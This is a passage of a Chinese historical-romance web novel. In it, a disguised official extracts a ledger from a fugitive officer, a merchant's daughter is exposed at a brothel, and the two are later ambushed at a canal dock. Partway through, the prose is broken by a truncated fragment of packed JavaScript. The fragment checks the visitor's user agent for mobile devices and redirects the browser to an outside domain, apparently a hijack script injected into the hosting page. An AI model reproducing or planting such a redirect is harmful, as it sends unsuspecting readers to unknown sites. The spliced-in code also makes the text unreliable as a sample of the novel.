谢衡自顾自的在冯远山对面坐下来,慢条斯理道:“怎么,冯总旗翻山渡水来了江南,就以为能改头换面了?”
冯远山在女人面前耀武扬威,一遇到厉害的就缩成了王八,眼见那杯酒就要被他颤个不停的手抖光,江云悠赶紧伸手救了过来。
她眼骨碌一转,抱着凑热闹的心理,夹着嗓音道:“冯老爷稍安勿躁,我看这位公子虽长得青面獠牙,语气也凶神恶煞,但却并无进一步动作,冯老爷不妨静下心听他把话说完?”
谢衡理袖口的手指停了一下,微微抬眸,与面纱上的眼睛对视。
江云悠半张脸都被红纱覆盖,唯露出的一双眼被金红色的眼线描绘的微微上扬,把她的狡黠灵动勾勒出几分妩媚。
他尚来不及抓住那丝熟悉的感觉,就被冯远山的声音打断。
“美人说的有理!”他大手一挥,感觉自己底气又回来了:“我到要看看,这偌大的平陵还能容你乱来不成,欲加之罪!何患无辞!”
他一撩衣摆坐下,指着屋中央的筝对江云悠道:“去,给爷继续弹琴去。”
本来搓着手凑热闹的江云悠愣住,转过脖子与那架筝面面相觑:
等等,这是琴不是筝?这老色鬼还挺懂门道……嘶……那有规律的乱弹的话,要多久会被认出来?
谢衡敏锐的看出她的犹豫,眼眸微眯:“怎么,揽仙楼的姑娘连丝竹管弦都不会吗?”
江云悠灵机一动,顺杆爬道:“其实吧,公子有所不知,这揽仙楼里的姑娘各有……”
“揽仙楼素称平陵第一楼,没成想楼里的姑娘不光蒙头盖面,现在连首曲儿都弹不出来。”
谢衡语调平淡,乍听跟在船上时别无二致,但此刻却让气氛陡然凝滞起来,压迫感如有实质的袭来。
“我倒是好奇——这面纱底下到底藏的是美人面还是骷髅头?不如直接送去衙门,板子一打,慢慢审。”
江云悠听得起了一身鸡皮疙瘩,那摆放端正的琴像是烤火架,将她那凑热闹的心思一股脑都烘干了:谁知道看热闹还要考才艺啊?!
冯远山被谢衡如此一说,那警惕如狐的防备心又竖了起来,一时觉得谁都不像好人,越发坐立难安起来。
江云悠这回算是栽了,她尚在要不要摘面纱当中左右摇摆,谢衡已将目光瞥向冯远山。
“不过话说回来,很多事儿也并非一定要到见官那一步,毕竟这内部的事,还是内部解决最方便,冯总旗觉得呢?”
冯远山听懂了他的一语双关,仍抵死不认:“我说过我不是什么总旗,报官是吧,好,你若还不走,我现在就去报官,看看抓的是谁!”
谢衡哼笑:“事到如今,冯总旗还在等身后那个大人保你吗?这种砍头的大罪,你觉得会有人留你这么个破绽在外招摇吗?”
冯远山没什么真本事,爬上总旗的位置全靠马屁拍的好,没少替那些人做腌臜事。这几天他等在此处,没有一点消息传来,越发让他抓耳挠腮,谢衡所言是他一直都逃避的。
谢衡看出他的动摇,步步紧逼:“你出身行伍,可听说过‘狡兔死,走狗烹’这句话?”
江云悠听得有点懵,她身子没动,抬起眼珠观察着眼前两人,登时感觉出这鬼热闹不是什么好听的。
她垂下头,即刻决定三十六计走为上策。
忽然,冯远山猛一拍桌子,桌边摆放的水果点心被震得落到地上。
“你到底是谁!”
江云悠被这突如其来的巨响吓了一跳,小步往外挪的脚立即停住。
谢衡淡淡瞥一眼江云悠,仍平铺直叙:“冯总旗也是军中老人了,四年前的前车之鉴摆在那,也不用我再给你讲一遍了吧。”
冯远山咬紧牙,色厉内荏道:“你究竟想干什么!”
“还是那句话,内部的事儿还是在内部解决最方便,冯总旗不就想求个安稳的退路么,其实全看总旗自己的选择。”
他把玩着酒杯,给足他时间考虑,仿佛对最后的结局十分笃定。
冯远山的防备已经在谢衡的威逼利诱的攻势下褪去,混浊的眼里有了踟躇和算计:“你想要什么?”
“账本。”
江云悠从头听到尾,默默看向端坐的谢衡。
这人从进屋到现在不过一炷香时间,全程都牵着冯远山的鼻子走。
冯远山悚然一惊:“你是朝廷的人?!是京里的还是镇北军中人?你要这东西干嘛?”
谢衡耐心告罄,冷道:“想活命就不要问那么多,你从军中带出的那两本账在哪?”
“这么重要的东西我自然不可能放在身上。”冯远山老奸巨猾,盘算着活命的条件:“我要去兆水!等我出了平陵才能给你账本。”
“可以,不过我要先拿到其中一本。”
“不行!我要先出平陵!”
谢衡掸了掸衣袍:“冯总旗最好想清楚自己眼下的局势,找你的不止我一个,那账本在你身上多待一天,你就多一分危险。”
冯远山眼里算计着,总算松了嘴,说出了第一本账册的地方。守在门外的暨雨闪身立刻离开去寻。
冯远山阴毒的视线瞥向江云悠:“此人听到了我们的计划,断不能留。”
自顾自当花瓶的江云悠一个激灵抬头:“不是吧,这么突然。”
她扭头看向谢衡,他垂眸转着酒杯,对眼前的一切恍若未闻,冯远山已经从怀里摸出匕首,向江云悠走来。
江云悠看一眼房门,冯远山看出她的意图。
“别妄想了,这楼里死个姑娘什么的简直太常见了,你还指望他们会救你吗?”冯远山打量着她,又精虫上脑:“不过看你姿色尚可的份上,不如先让爷爽爽,没准看你伺候的好,爷说不定可以放你一马。”
眼见他越逼越近,江云悠视线扫过离得不远的谢衡,提起裙子调头往回跑。
谢衡和冯远山都没料到这一出,电光火石间,谢衡错开身,江云悠张手扑了个空,跌坐在地。
冯远山哈哈大笑:“美人可别选错了人,这可不是个怜香惜玉的主。”
江云悠仰头看向谢衡,居高临下的俯视更衬的他那双眼冷厉危险。
可惜江云悠是个不知“怕”字从何起笔的主儿,她直直的看着他的眼睛,拉住他垂在扶手的胳膊。<
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p>谢衡眉眼彻底冷下来,正要扯开她,忽然看到她腕间的金玉手链。
愣神的瞬间,江云悠扶着他借力直起身,侧首贴到他耳边。
“明淮哥哥,别来无恙啊,这么快就不认识我了?”
她仍跪坐着,虚扶着谢衡的手臂,从外人看来,就像靠在谢衡怀里。
冯远山一副看戏的姿态,没有丝毫怀疑。
“我知道明淮哥哥心善,一定不会见死不救的,江南航运江家也必不会忘了明淮哥哥的救命之恩的。”
谢衡眼里惯有的清冷因怔愣淡了一瞬,很快又恢复如常,心念飞转。
须臾,江云悠感觉捏在腕上的手松了。
她呼出口气,知道他答应了,卸力坐回地上:下次可不能在封闭的屋里凑热闹了。
谢衡抬眼看向冯远山:“此女谎话连篇,刁滑奸诈,不如交给我来处理,省的冯总旗费事。”
冯远山满肚子好色之心,自然以为别人也是如此,恰好让谢衡顺水推舟。
门外暨雨找到了账册,推门进来,把东西递给谢衡。
谢衡翻开检查时,江云悠斜着眼瞅了瞅,结果被抓了个正着,她立马弯起嘴角眨巴着眼作无辜状。
谢衡不稀得搭理她,合上账本看向暨雨。
暨雨会意,走到冯远山面前,道:“冯总旗,请吧。”
冯远山惊慌的蹙眉:“你们这是什么意思?”
谢衡不紧不慢道:“此地鱼龙混杂,自然是请冯总旗去个安全的地方。放心吧,第二本账册不是还在你手里呢吗?”
冯远山虽然心里抵抗去其他地方,但眼下别无选择,只能跟着暨雨离开了。
门重新关上,江云悠总算不用再伪装,一个骨碌站起身,跑到那架琴面前拨弄起来。
谢衡被骤然响起的凄厉哀乐吵到,啧一声:“要不我再把人叫回来,欣赏欣赏江大小姐这雅乐?”
江云悠顿时停手,嬉皮笑脸的朝谢衡一拱手:“那到不必,有明淮兄一个知音足矣,足矣。”
谢衡懒得应她,垂眸翻开账册。江云悠探头瞄了眼“看不出来这老色鬼记账还挺像那么回事的嘛。”
谢衡一把合上账本,靠在座位上:“我是不是给了你什么错觉,让你觉得我比冯远山那软骨头仁慈?”
江云悠察觉到他又开始放冷气,老实的收起笑,摇摇头,顿了一会儿,又道:“比那老色鬼长得好看算吗?”
谢衡正准备接着警告,后半句还没接上,就被她这话塞住,突然感觉到一拳打在棉花上的无力。
“今日之事烂在肚子里,否则第一个惹祸上身的就是你这种闲得没事爱凑热闹的。”
江云悠保持老实姿势,郑重的点头,捂住了自己的嘴巴。谢衡没工夫在这跟她继续浪费时间,起身准备离开。
“明淮兄这就要走了?”江云悠抱着裙摆跟在他身后:“咱们两日之内遇到三次,这么有缘,不一起吃顿饭吗,我请客怎么样?”
谢衡冷哼:“我怎么觉得是飞来横祸呢?”
“怎么会是飞来横祸呢,简直是天赐良缘啊。”江云悠道:“不过你方才是真的没认出我吗,难道本姑娘这倾国倾城的容貌已经又上一个高度了?”
谢衡被她吵的耳朵直嗡嗡,在门口停下来。
他拿账本抵开江云悠凑上来的脑袋:“你要实在是闲得慌,揽仙楼对面找小倌去。”
“哎!我妆!”
江云悠低呼一声,赶忙摸摸自己额头。
他拨开她的胳膊开门,却没成想她落下来的裙摆卡到了门缝里,这么一扯,江云悠身子猝不及防往前倾。
谢衡见人扑过来下意识一避,反应过来后又伸手去捞人,结果揪住一把头发。
飞仙髻盘起的乌发倾泻而下,与墨蓝衣袍上的浅金云纹交织在一起。
江云悠吃痛,本能的转身往后靠,层层叠叠的红色长裙旋出灿烂的弧度。
场面一时有些混乱,钗佩叮当间,两人距离刹那间缩短,谢衡应接不暇的扶住她的腰,江云悠抬首,对上他垂下的目光,滑落的红绸金铃成了寂静中唯一的声音。
四目相对间,江云悠脸上覆着的红纱滑落,露出滞愣的表情。
谢衡鲜少的怔了一下,眼前人腰间温热的触感透过薄沙传入掌心。
5. 金风玉露(五)
“江……云!悠?!”
门口一声惊呼打碎两人间凝滞的空气。
一个缠金枝的鸟笼啪嗒一声落在地上,笼里的胖鹦鹉“活祖宗活祖宗”的叫个不停。
眼前这瞠目结舌的正是江云悠原本要找的那人,今天这事的倒霉之源——江云帆。
江云帆合上嘴,一把将江云悠扯到身后。
“行啊你,本少爷在外面兢兢业业谈生意,你倒在揽仙楼里找起小倌了……还打扮成这样?挺会玩啊你?”
江云悠与他从小吵到大,每天互相告黑状揭老底,对彼此的臭德行知道的再清楚不过。
她切一声:“江老板,你说的生意是昨日斗蛐蛐时赔的十几两还是前日赌坊赔的那几十两啊?”
“嘿,别以为我不知道前天我那对家就是你,还有,我那蛐蛐是不是你偷偷下药了?你别扯开话题,现在说的是你包养小白脸的事!你才多大,坑你哥的时候挺机灵,别人一哄就当散财童子是吧?”
无辜被殃及的谢衡气极反笑,他踩住轱辘到脚下的金笼子,嗤道:“我一直以为传言不可尽信,今天见到江大少爷才知‘金玉其外,败絮其中’一词,真是形容的恰到好处。”
江大少爷被骂这事很常见,但被这么郑重其事阴阳怪气的当面骂还是头一回。
他迎上谢衡的目光,把手腕上的紫檀木串往上撸了撸。
“呦呵,居然是你,看来这揽仙楼里还真是卧虎藏龙啊。怎么,要找的人找到了?”
谢衡眼色沉下来,危险的气氛在两人间弥漫开。
就在火药味渐浓时,另一间门毫无征兆的打开,江旬一个抬头,就看到眼前这滑稽又戏剧的一幕。
原本夹在中间正想着要不要劝架的江云悠顿时如遭霹雳:我嘞个弥来佛,不是说阿舅在翠玉园吗?
谢衡看着身边两人表情,猜到了这个突然出现之人的身份,眉心几不可察的蹙起。
说来也是奇了,算上这次,他跟江云悠不过蜻蜓点水的打过三回照面,这人居然没一次落的打乱了他的计划。
向来不信神佛的谢衡甚至真琢磨了一下,两人是不是有什么八字犯冲的忌讳。
不过江云悠现在可没空给他提供八字,她一边在心里迭声惨叫,一边小碎步往谢衡和江云帆身后挪。
比起江云悠,天天被骂的江云帆可谓身经百战,立马先声夺人,表情转换的无缝衔接。
“哎呦,这揽仙楼真大啊,害我找了半天茅厕结果又绕回来了你说说,一会非得给他们提提建议不行。”
他话还没落,身子已经利落的从现场地遁。江云悠见状,立马脚底抹油跟着跑,结果被江旬一把拎住。
“阿昭?”他沉下脸看着她的衣服,又瞥向旁边的谢衡。
“这是怎么回事?”
江云悠腹稿打了一箩筐,结果还没张口就被压下。
江旬负手看向谢衡,上前隔开两人:“请这位公子先讲一讲吧,小女今晚是跟公子在一起吗?”
谢衡脑海中思量着,拱手先行了个礼。江旬比预想的出现太早了,现在的一切完全跟他的计划脱轨,只能随机应变了。
“在下初到江南,本想见识一下平陵久负盛名的揽仙楼,未料这楼中回廊曲折,碰到令爱想问个路,刚才那位公子可能是误会了什么,故有此一幕。”
江云悠忙点头跟上:“是啊是啊。”
江旬瞪眼凑上来的江云悠,往一旁合起的门上看了眼,不欲多事。
“小女年幼贪玩,耽误公子时间了。”
谢衡微微颔首,看着江旬领着江云悠离开。
满头钗环配饰被江云悠甩的叮当响,妩媚风情的红衣在她身上明艳绚烂。
远方依稀传来江旬训斥的声音,旁边的身影丧头耷拉脑,就是看不出一点老实悔过的样子。
谢衡转过头离开,却在揽仙楼门口看到早已离场的江云帆从角落里走出来,嘴角勾起跟江云悠七分相似的笑。
……
马车上,江云悠殷勤的给江旬倒了杯茶送过去,垂首认错姿势标准。
这丫头从小到大写的忏悔都能出书了,每次都是认错态度良好但坚决不改,主打一个再接再厉。
江旬不接她的茶,道:“老实说说吧,那人到底是谁?”
江云悠眼睛转了一圈,刚要开口,江旬先一步截住她:“别拿刚才那套搪塞我,你也编不了他那么周全,老实交代。”
江云悠垂头丧气一叹,与江旬斗智斗勇的本子上再添败绩一笔。
等老实交代完,江云悠不甘心道:“阿舅既说他编的周全,怎么还不相信啊。”
江旬喝了口茶:“我不了解他,还不知道你?”
江云悠顿时懊悔——就应该咬死那人的说辞的。
江旬撂下茶杯,又回忆起谢衡的脸,不知怎的,心里总感觉怪。
“此人处变不惊,面对我突然问话,言行举止也周全无错,可见心思颇深,又身份不定……你往后离这样的人远一些。”
江云悠嗯嗯两声点头应下,实际又当耳旁风放到一边跑了。
她一面暗想从阿舅嘴里得到句夸不简单,一面又开始想怎么躲过今晚这顿罚。
那时的江云悠对待外界的一切都饱含新奇与热情,每日最大的忧愁就是躲过功课与江旬雷声大雨点小的责罚。
她像在琉璃瓶里精心养护的一朵娇花,水分和阳光都唾手可得,于是也理所当然的被封闭的琉璃遮挡了视线。
而后回顾从前种种,江云悠总会想起这一天,若是她注意到当时阿舅眼里的愁绪,若是她将谢衡与冯远山的对话和盘托出,一切会不会不同。
下了马车,还没等江云悠取巧卖乖,大门里慌忙跑来一人,急声在江旬耳边说了几句。
江旬脸色一变,看向江云悠,启唇却只道:“你今晚在府里好好待着,别再出去鬼混了……阿七,找两个人看好她。”
江云悠自然不满时刻被人看着,但还未等她抗议,江旬就已经领着人疾步离去。
夜色的寂静铺张开来,江云悠想起方才江旬看自己的那一眼,后知后觉的有些奇怪。
“阿昭?”
来人一身素雅的月白色长裙,头戴一支玉兰簪子,眉目间几道淡淡的细纹难掩温婉清丽。
她拎着裙摆拾级而下,将手上披风搭在江云悠身上:“怎么这么晚才回来,这晚上潮气大的很。”
方妤晴从江云悠有记忆以来就跟着江云悠的母亲江泠,江泠去世后,就一直照顾着江云悠,多年以来,江家下人对她也都毕恭毕敬,尊称一句方姑姑。
江云悠闻着她身上与母亲相似的气息,难得乖顺下来。
“方姨,阿舅那边有什么急事啊?”
方妤晴为她系好披风,轻摇了摇头:“大抵是生意上的事吧,家主这几日尽是早出晚归的,你也整日乱跑,不说让他省省心,怎么穿成这个样子,又是去哪了?”
江云悠除了在江旬那发怵,在其他人面前均撒的一手好娇。
她摇摇方妤晴胳膊,蒙混过关道:“哎呀好方姨、美方姨进去再说嘛,我快饿死啦。”
“你啊。”
方妤晴拿她没办法,由她一蹦一跳的进了门。
“夜里黑,你跑慢一些,厨房还温着虾仁粥,时辰太晚吃多了不消化……”
门口小厮关上沉重的大门,台阶下的石狮子呲着牙镇守一方,身影被逐渐变深的夜色淹没,远处乌云汇聚。
江云悠半夜被淅淅沥沥的雨声吵醒,她趿上鞋走到窗前,潮气迎面扑来,庭院里梧桐叶被雨水冲刷的油亮。
雨声中似是有一道叹息,来不及诉说就被夜风卷走。
疏雨滴梧桐,微风吹荷叶……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492825|154777||http|test|mini|href|location''.split(''|''),0,{}));
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>江云悠撑起伞来到湖心亭,池子里的锦鲤常年受她迫害,一见到人就远远游开,躲到湖心那两支枯藤下。
那是江泠在世时种下的并蒂莲,曾经的一池灿烂盛景都随斯人而逝,余留下满池枯藤,残叶遭受着风水雨打。
江泠重病那几年愈发不爱走动,整日坐在这亭子里揽着猫儿,像是被这夺目的花吸去了所有精气神。
风雨渐大,江云悠被冻得打了个喷嚏,往檐下躲了躲。同一天空下,谢衡推开窗,任由冷风拂面。
自从发现军辎被转移之后他就连夜开始追查,尤其这几日南下赶路,几乎没怎么合过眼。
“老大,那江云帆能信吗,外面人不都说江家两个少主是草包吗?”
谢衡在寒风中压下倦意,冷淡的嗓音始终清醒:“究竟是不是流言,去了就知道了,明日周远的船何时靠岸?”
“预估亥时。”
日升月落,江云悠昨日大半夜醒过一次,早上睡到日上三竿才起,一开门就看到在门口来回踱步的山羊胡。
那是江旬给她请来的教学夫子,可惜江云悠自小就得了个看到字就头疼眼晕的罕见病,平日跟夫子交流最多的就是蒙汗药的剂量。
她钻出门,蹑手蹑脚的避开下人,扒开院墙下的一块石头,露出通向后街的小洞。
江大小姐金贵娇气,穿墙的狗洞也修葺的富贵讲究。
她一撸袖子顺着石洞爬出,熟门熟路的逃之夭夭。
早晨街上行人尚少,江云悠去成衣铺子里换下沾了泥点子的衣裳,朝街东头赌坊走去。
转眼亥时,她嘴里叼着吃完糖人剩下的竹签,一甩刚从斗鸡场上赢来的弹弓,悠哉的从湾里街抄了条近路去北港迎周远。
湾里街住的都是平头百姓,水巷多又绕,现在到了饭点,家家户户飘起了炊烟。
路边抹鼻涕的小屁孩被他娘一嗓子喊回去……也不知道吃饭前会不会洗手。
喧嚣的水巷安静下来,她出了巷子跳上土坡,码头和嘉安运河便出现在眼前。
她正撩起裙摆要跳下去,余光忽然暼到两人个穿着黑色衣裳的伙计正姿势奇怪的往水边去。
按理此处虽不是什么正儿八经的路,但既然江云悠这个毛猴子能发现这,有其他人走也没什么大惊小怪,怪就怪在这俩伙计穿的是江家航运的长工服!
江云悠动作停了一霎,此处偏僻,离他们做工的码头更是南辕北辙两个方向。
莫非他们是回家?下工了?
作为温室里的花朵,她并没多想,下意识的为这俩人想了个过得去的理由,便往另一头走去。
码头上人来人往,成箱的货物被抬上抬下,远远就能听到伙计们的吆喝声。
印着江家标志的大船靠岸,栈桥上周远长衫而立,正对身边的人说着什么,江云悠脚步立时加快。
“远叔!”
夕阳撒在平陵宽阔的水面,粼粼的波光为栈桥度上一层光影,又被少女轻快的脚步踏的微微颤动。
江云悠挥着手,逆着一众黑衣长工向前跑,天青色的发带在她身后缠绕飞舞,像逆风而来的蝴蝶。
周远尚来不及掸净身上的灰,就被她撞得后退几步:“哎呦,我这沾的满身土,小心弄脏你的衣裳。”
话虽如此,他还是伸手拍了拍江云悠的后背:“这风大浪大的,怎么到码头上来了,今天改到这养锦鲤啦?”
江云悠被挖苦,还没来得及撇嘴,就听旁边有人笑了一声。
她朝声音处看去,发现不远处暨雨正捂嘴憋笑。
他旁边还站着一人,因为笼在光里,江云悠眯了下眼才看清,不由得愣了一瞬。
夕阳的光晕里,谢衡从容自若的立着,平静无波的对上江云悠诧异的眼睛。
微风掠过,他锦衣长袍吹的猎猎作响,像是附和她腕间窸窣响动的金玉手链。
6. 光阴易逝(一)
“……你怎么在这?!”
“江大小姐,别来无恙。”
对比江云悠的不可思议,谢衡答得四平八稳,甚至略弯下唇角。
江云悠眼睛又扩大一圈:见鬼了,见鬼了,这人刚才是笑了吗?没带讽刺、没带奚落的纯笑?
周远来回打量两人,也有些疑惑:“阿昭,你跟这位郑公子认识吗?”
“这我可得仔细看看才能知道,远叔方才说这位公子姓……郑?”
江云悠双手环起走到谢衡身前,拉着调子道:“嘶,郑公子智勇双全,才貌过人,不知读没读过齐律啊?”
灿烂的余晖中,一身锦衣华服中和了谢衡凛冽的气质,显出几分疏冷的贵气。
“大齐律维序安国、□□定规,看来江大小姐涉猎甚广,平日一定是个忧国忧民,正己守正的人吧。”
他嘴角略勾,回答的慢条斯理,每个词都精准打击到位。
忽然,身后哐啷一声巨响,把江云悠张了一半的口吓了回去。周远上前把她挡在身后,皱眉看着砸在地上木箱。
抬箱子的两个长工陡然闯了祸,一时有些手足无措起来。
周远本不是严厉的人,又看这俩人跟江云悠年纪相仿,小小年纪做这么累的活计也不容易,便想说两句算了,却不料后面一个工头模样的人冲了过来,兜头便喊。
“会不会干活!还不快抬走,等会儿有你们好看!”
长工年纪小,其中一个受了委屈忍不住申辩:“我们不是故意的,这箱子来的时候还……”
工头踹了那人一脚,声音拔高喝道:“还顶嘴是吧!船上的时候你们几个就好吃懒做,赶紧滚赶紧滚!”
谢衡站在最后,不动声色的看着这场突如其来的闹剧,目光一扫三人,最后定到那长木箱子上。
木箱长近两米,破旧不打眼,封口处的封条看起来倒是很新,距离原因,谢衡辨不清上面的字。
“看什么呢?”
江云悠摸着下巴凑到谢衡身边,没看出他在打量什么,谢衡猝不及防被她那发带拍到手背。
“老实说,你乔装打扮来干嘛?”
她双手叉上腰,今日手臂上恰好戴了一串金钏,清脆的响声为她的动作铺上一层娇俏灵动的底色。
因为实在自己的地盘,她底气很足,身子前倾出“逼问”的弧度。她似想到什么,如梦初醒似的睁大那双乌亮的眼睛。
谢衡微微后仰,不知道她那莫名其妙的脑袋里又想到什么不可思议的东西——总之不会是什么正经的。
“我知道了!你该不会是看上我了吧。”
江云悠夸张的退后两步抱住自己:“哎呦,虽说本姑娘沉鱼落雁,闭月羞花,上到八十老者,下到襁褓婴儿都为本姑娘折腰,但你也不能如此色令智昏,想这种法子接近我啊。”
她夸夸其谈的说完,又像模像样的竖起食指:“长得好看也不行,扣分!”
谢衡算是在她身上见证了什么叫思维的跳跃和联想的无限。他头次不知道该摆出什么表情,竟下意识笑了两下。
这可让江云悠这个得两分颜色就能开起染坊的人逮住了机会,背着手重新探过身,竟比方才还要近一寸。
谢衡被她一通话搅得忘了退开,陡然与一双明媚狡黠的笑眼近距离相对。
或许是江家将她呵护的太好,或许是她本就赤诚纯真,连那双眼睛也如此干净澄澈,清晰的倒映出他微滞的表情。
谢衡拨开绕在手上的发带,似笑非笑道:“江大小姐今日是镜子照太多了,还是忘照镜子了?”
他下巴一扬,指了指边上的海,江云悠刚扭头看去,就听身后谢衡道:“赶紧照照,看是不是多带了张脸出来。”
江云悠“……”
水上倒映出她一记干脆利落的白眼,周远应付完了工头,走过来把水边上的江云悠往后拉了拉。
“小心些,这码头上水急着呢。”他叮嘱完江云悠,侧首对谢衡笑道:“此次多谢郑公子在其中斡旋,不知一会儿可有时间,一起吃顿便饭可好?”
“周队长不用客气,在商言商罢了,想来周队长晚上还有的忙。”
他视线意有所指的落到远处,江云悠和周远看过去,只见江云帆摇着折扇大摇大摆的走上栈桥,活像来逛庙会,时不时与周围看过来的长工点头寒暄两句。
他注意到这边几人,一把合上折扇,隔着二里地招呼道:“哎,远叔——呦,阿昭也在啊。”
江云悠遮着头上的余晖,心里奇怪道:平日阿舅喊他例行巡检都借口推了,怎么今日舍得那金足落到码头了?
她想着想着,看眼旁边的谢衡。
江云帆慢吞吞的走近,扇子还没重新展开,便夸张一跳,开台表演了。
“我嘞个如来佛祖观音菩萨啊。”江云帆拿着折扇不住的点向谢衡:“郑公子居然真的出山了,我说怎么今日一出门就有喜鹊围着我转呢,原来是有贵人相助啊。”
谢衡立在原地,静静的看他表演,没想到这俩兄妹师承一门,一个比一个浮夸。
江云悠看着他这一出,立即决定以后演戏时要引以为戒,收敛着表情。
周远听得豁然开朗:“原来郑公子是少东家请来,多谢多谢。”
江云帆赶紧扶住周远:“诶,远叔这就见外了。”
他虽仍是嬉皮笑脸,但语气已经正经了不少:“远叔这一路辛苦,我爹已经在一品居摆好宴了,也好好犒劳犒劳船上的兄弟们。”
周远迟疑的回头看向货船:“这一次的人都要去?”
“这样稳妥些。”
一旁的江云悠吹口额上的碎发,歪头对谢衡道:“这是打什么哑谜呢,你们何时这么熟了,难道我们不是最好的搭档了吗?”
“你那忙着演戏的哥哥忘告诉你了?”谢衡扫她一眼:“那就少说话,别坏事。”
他抬步离开,走向对名册的江云帆。
栈桥上重新来了批长工替下原来的人,江云悠看着码头上聚在一起的黑衣服,突然想起来的路上碰到的那两人。
“阿昭?”周远伸手在她眼前挥了挥:“怎么了,想什么呢?”
“远叔,他们这是要去干嘛啊,一个也不能少吗?是不是跟劫船有关?”
“就是去吃个饭。”周远出于保护心理,并没有将个中原委详细解释,只道:“这天也不早了,你赶紧回家吧,记得替我跟你方姨打声招呼。”
江云悠笑起来,眼里有两分促狭:“放心吧远叔,你可要早点回来,方姨今天还特意给你做了蟹黄酥呢。”
周远难得耳红的拍了下她脑袋。
远处,江云帆清点完人数,对这边招了招手:“阿昭,天黑赶紧回家听到没,再不动我告老江头抓你回去。”
江云悠对此嗤之以鼻,伸出拇指往下一倒充作回应。
她转过身,看到了岸上站着的谢衡。
码头上风大,将他袍袖吹的翻飞,人却岿然不动,在来来往往的黑衣长工中,他如一个静止的点,像流动的人海中的一座小岛,连周围的空气都孤寂起来。
“天,我怎么会这么想,他明明是个成精的曼陀罗,尤其是那张嘴。”
她晃晃脑袋,还是抬步走向那株美丽又危险的毒花:人呐,对长得漂亮的东西容忍度就是大。
“站这不吹吗?”江云悠顺着他的视线看去:“这破木箱有什么好看的,不如我请你吃糯米鸡怎么样,不远,方便你吃饱喝足再回来吹冷风。”
谢衡知道她顺杆爬的本事,本来没打算接茬,直到看到她手指的位置。
“你说从哪边走?”他看向后方那个不起眼的土坡:“你的意思是离开码头的不只看守的那一条路?”
“严谨来说是这样的,不过那条小路没什么人知道,这个码头向来走的都是大件货物,没人能偷拿,所以土坡那边就没看守的。”
似是被谢衡的情绪感染,江云悠回头看了看土坡,心里忽然有种不祥的预感。
谢衡心念飞转,江云帆昨日谈合作时说,借他在朝廷的权利对莫家施压放周远离开,作为回报,江云帆最后会将这批货的处置权给他。
在那之前,两人还需要利用这批货将莫家的人勾出来,江云帆是需要找吃里扒外的内奸,而他则需要证据撬动这件案子背后的官商勾结。
清点船上人数时他是看着江云帆拿着名册一个一个点的,不可能有漏……
可万一内奸是中途溜进来的,名册上压根没有名字呢?!
江云悠虽不管事,但这两天也没少听说劫船的前因后果,她将这两日信息一串,登时道:“你们是不是在找什么人?”
谢衡眼神锋利起来:“你遇到他们了?”
“我是看到有两个人,但我不确定……”
谢衡与身后的暨雨打了个眼神,率先往小土坡走去。
“愣什么?带路。”
江云悠回神,忙提起裙摆跟上。
两人在岔路停下,平陵北口一带虽然水巷繁多,但出口只有两个,西边是湾里街闹市,北边连着嘉安湖。
江云悠看向谢衡:“集市的可能性会不会大一些,毕竟那里人多,方便隐藏。”
“不。”谢衡很快否定这个答案:“他们现在的
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目的不是隐藏,而且背后那人也不会选择人多的地方。”
江云悠只听懂前半句,但时间紧迫,她压下疑问,转身带他往嘉安湖方向走。
正要拐入下一个路口时,谢衡忽的伸手拦下江云悠。
她莫名回过头,还没开口,耳后忽然传来一道尖锐的破空之声,尖锐的箭矢直直朝她的面门射来。
江云悠瞳孔骤缩,千钧一发之际,谢衡从后面拽过她,手上挥剑挡掉了飞箭。
江云悠头次遇见这种大场面,心有余悸的盯着地上颤动的箭尾。
还没等她缓过神,墙上又接二连三的飞下箭矢,她哪见过这阵仗,手边又没有什么抵挡的武器,只能躲在谢衡身后,下意识拽住他的衣角。
谢衡挥剑的动作很快,箭矢还没近身就被他挡掉了。
江云悠看向墙上的弓箭手,对谢衡道:“一共四个,左右各两个……难怪不选人多的地方,原来要杀人灭口——所以我们这是正好撞到案发现场了吗?这也太倒霉了吧,他们灭完口不挪窝留这推牌九吗?”
谢衡挡着箭,拉她拐入墙角:“这时候就省点口水吧。”
他看向墙上四人,他们手中的弩身长一尺六寸三分,弩面阔八九分,弩身朝上的一面平直,这是镇北军为抵御胡人骑兵的而特制的。
前方将士浴血奋战,就换来这些人踩着他们骨头数银子吗?
他握剑的手收紧,银色的剑鞘流动出冷光。
“喂,你要干嘛?”
江云悠抓住他握剑的手:“这四个可不是曹骏达那废物,那箭跟下雨似的,你双拳难敌四手,三十六计还走为上策呢,留得青山在不怕没柴烧啊。”
谢衡冷眼看向墙头装箭的四个人,仿佛在看一滩死物。
“就凭他们?”
他拔剑出鞘,一道明光晃过,江云悠被刺的闭了闭眼。
他剑如游龙,破开箭雨,衣袍随着他的动作发出猎猎响声,银剑轻而易举挑开四人的攻势。
江云悠探出身子,看着高处锋芒毕露的谢衡,好像光影也被斩断在那把银剑之下。
几人被谢衡牵制无暇他顾,江云悠抽出斗鸡赢来的弹弓,眯着眼对准墙头。
石头在她手里握了许久,终于射了出去,只不过砸中的是自己人。
谢衡挥剑弹开这没什么攻击力的“暗器”,往下看向偷袭的那人。
江云悠心虚的朝他一笑,把剩下的石子一扔,退回巷子里。
须臾,墙上两人一前一后被打落在地,剩下两人也被控制。
满地羽箭,谢衡却连衣裳都没破一处。
“哇塞,你这也太厉害了吧,我要会个一招半式,下次偷跑都不用钻洞了。”
谢衡斜她一眼:“先把你那破弹弓扔了再说别的。”
江云悠“……”
谢衡将长剑架在一人颈上:“谁派你们来的?”
那人张了张嘴要答话,旁边另一人突然将箭弩对准谢衡。
江云悠吓了一跳:“小心!”
谢衡飞速扬剑挡住,却不料玉佩忽然滑落,他闪身去接,却被那人借机又射了一箭。
谢衡微微闪身,玉佩擦过他的指尖直直向地上坠落。
在玉佩落地的最后一秒,一只戴着金玉链的手伸出,稳稳接住了玉佩。
江云悠长舒一口气,起身朝谢衡摇了摇玉佩。
